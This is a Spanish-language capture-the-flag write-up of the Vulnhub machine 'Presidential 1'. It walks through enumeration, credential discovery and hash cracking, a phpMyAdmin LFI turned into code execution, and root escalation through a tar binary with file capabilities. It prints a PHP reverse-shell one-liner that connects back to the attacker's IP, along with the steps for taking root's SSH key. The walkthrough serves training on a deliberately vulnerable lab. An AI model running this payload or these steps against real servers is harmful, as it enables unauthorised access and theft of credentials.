Home Vulnhub - Presidential 1
Post
Cancel

Vulnhub - Presidential 1

Description: The Presidential Elections within the USA are just around the corner (November 2020). One of the political parties is concerned that the other political party is going to perform electoral fraud by hacking into the registration system, and falsifying the votes.

The state of Ontario has therefore asked you (an independent penetration tester) to test the security of their server in order to alleviate any electoral fraud concerns. Your goal is to see if you can gain root access to the server – the state is still developing their registration website but has asked you to test their server security before the website and registration system are launched.

This CTF was created and has been tested with VirtualBox. It should also be compatible with VMWare and is DHCP enabled.

Máquina Presidential


Reconocimiento

  • arp scan Realizamos el respectivo escaneo

arp

  • nmap Descubrimos los puertos abiertos.

scan1

Realizamos el escaneo correspondiente der versiones y scripts básico de nmap.

scan2


Enumeración

  • Identificamos tecnologías con whatweb y nos percatamos que existe un dominio en particular y utilizan php.

what vote

  • Configuramos virtual hosting

virtual

  • Fuzzing

fuzz

Enumeramos los archivos sin tanto éxito.

assests

  • Fuzzing dir virtual hosting , con alguna extensiones comunes, pero con el mismo resultado

fuzz2

El archivo config.php no muestra nada, posiblemente por que lo está interpretando. Si realizamos fuzzeo de virtual hosting usando vhost tendremos varios estados, así que intentaremos filtrar por el estado 200

fuzz3 fuzz4 status login

  • fuzzing extensiones. Esta vez realizaremos una búsqueda de extensiones adicional de php.bak , encontrando un recurso importante.

fuzz5

Estas credenciales parecen ser de la ruta de logueo.

cred logueo

Teniendo acceso a esta plataforma enumeramos usuarios y funciones, uno de ellos tenemos unas credenciales

enum

Creamos un archivo y procedemos a crackearlo.

hash crack

Dejamos un buen tiempo y mostramos nuestra password será Stella. Es necesario indicar que el servicio ssh no permite conexiones por el puerto 2082. Ahora buscaremos una manera de explotar esta plataforma phpMyAdmin según su versión.

enum2

  • searchsploit

search

En esta ocasión tenemos un RCE, pero antes debemos saber en donde aplicarlo.


Explotación

LFI

  • Buscamos por la web y encontramos 1 recurso adicional que nos indica la ruta igual que el exploit de searchploit.

vuln

En tal caso tenemos la siguiente ruta para un LFI. ✔En caso no permita el ? , lo podemos urlencodear %3f. Como se mencionó anteriormente teníamos un script, aquí podemos observar una ruta, la diferencia es que cambiaremos el /sessions/ por /session/ y colocaremos nuestro cookie de sesion.

url

Intentaremos un LFI en /etc/passwd , siendo exitoso.

lfi

Como podemos notar tenemos respuesta usando como parámetro db_sql.php, de esta manera probaremos una inyección de comandos tipo php en una query SQL.

query

O con un simple hola

test

  • LFI Log poisoning - ruta del script - ID logueo Confirmado que interpreta la query, intentaremos llegar a la dirección completa con nuestro ID nuevamente. Y es aquí donde vemos la respuesta reflejada. De esta manera cuando generemos nuestro RCE solo tendremos que actualizar la web en esta ruta.

ses

RCE - SQL

  • RCE Ahora que conocemos el lugar donde ejecutar un comando, intentaremos un RCE. Tener en cuenta que si bien es una query SQL, esta bajo un lenguaje php, debemos tener la sintaxis presente.

rce

1
'<?php system("bash -i >& /dev/tcp/192.168.65.139/1234 0>&1"); ?>';

Luego de mandar el one liner para nuestro reverse shell , ingresamos la dirección del script, en la web.

url

Actualizamos la web. Esto nos dará la reverse shell.

netcat

  • Mejorar Por cuestiones de practicidad mejoramos la Terminal
    1
    2
    3
    4
    5
    6
    
    script /dev/null -c bash
    stty raw -echo; fg
      reset xterm
    export TERM=xterm
    export SHELL=bash
    stty rows 35 columns 140
    

Escala Privilegios - Persistencia

  • Cuando usamos jhon the ripper para cifrar la password encriptada—- Stella, podemos usarlo aquí, solo quedaría saber que usuario es el correcto.

esc

Enumerando el sistema en busca de permisos suid, sudo, etc y archivos. Encontramos un documento interesante.

notes

Como nos indica en este archivo, buscaremos algo relacionado a un comprimido.

  • Capabilities Buscando capabilities encontramos un binario tar.

cap

  • cvf El objetivo ahora es crear un comprimido tar, de un archivo o directorio con permisos privilegiados que normalmente no tenemos acceso. Y finalmente intentar acceder a este descomprimiendolo.

desc desc2

Revisamos la carpeta descomprimida

root

  • ssh En un entorno CTF esto sirve, pero para generar una Escalada de privilegios mas real, podemos usar este mismo binario tarS para comprimir solo la key del .ssh y tener acceso por el puerto 2082; o ya con toda la carpeta root/ comprimida, aprovechar en acceder solo a este archivo.

key

Lo copiamos en nuestra PC atacante

copy

Cambiamos permisos

perm root2

Ahora si tendremos acceso a todo el sistema.

This post is licensed under CC BY 4.0 by the author.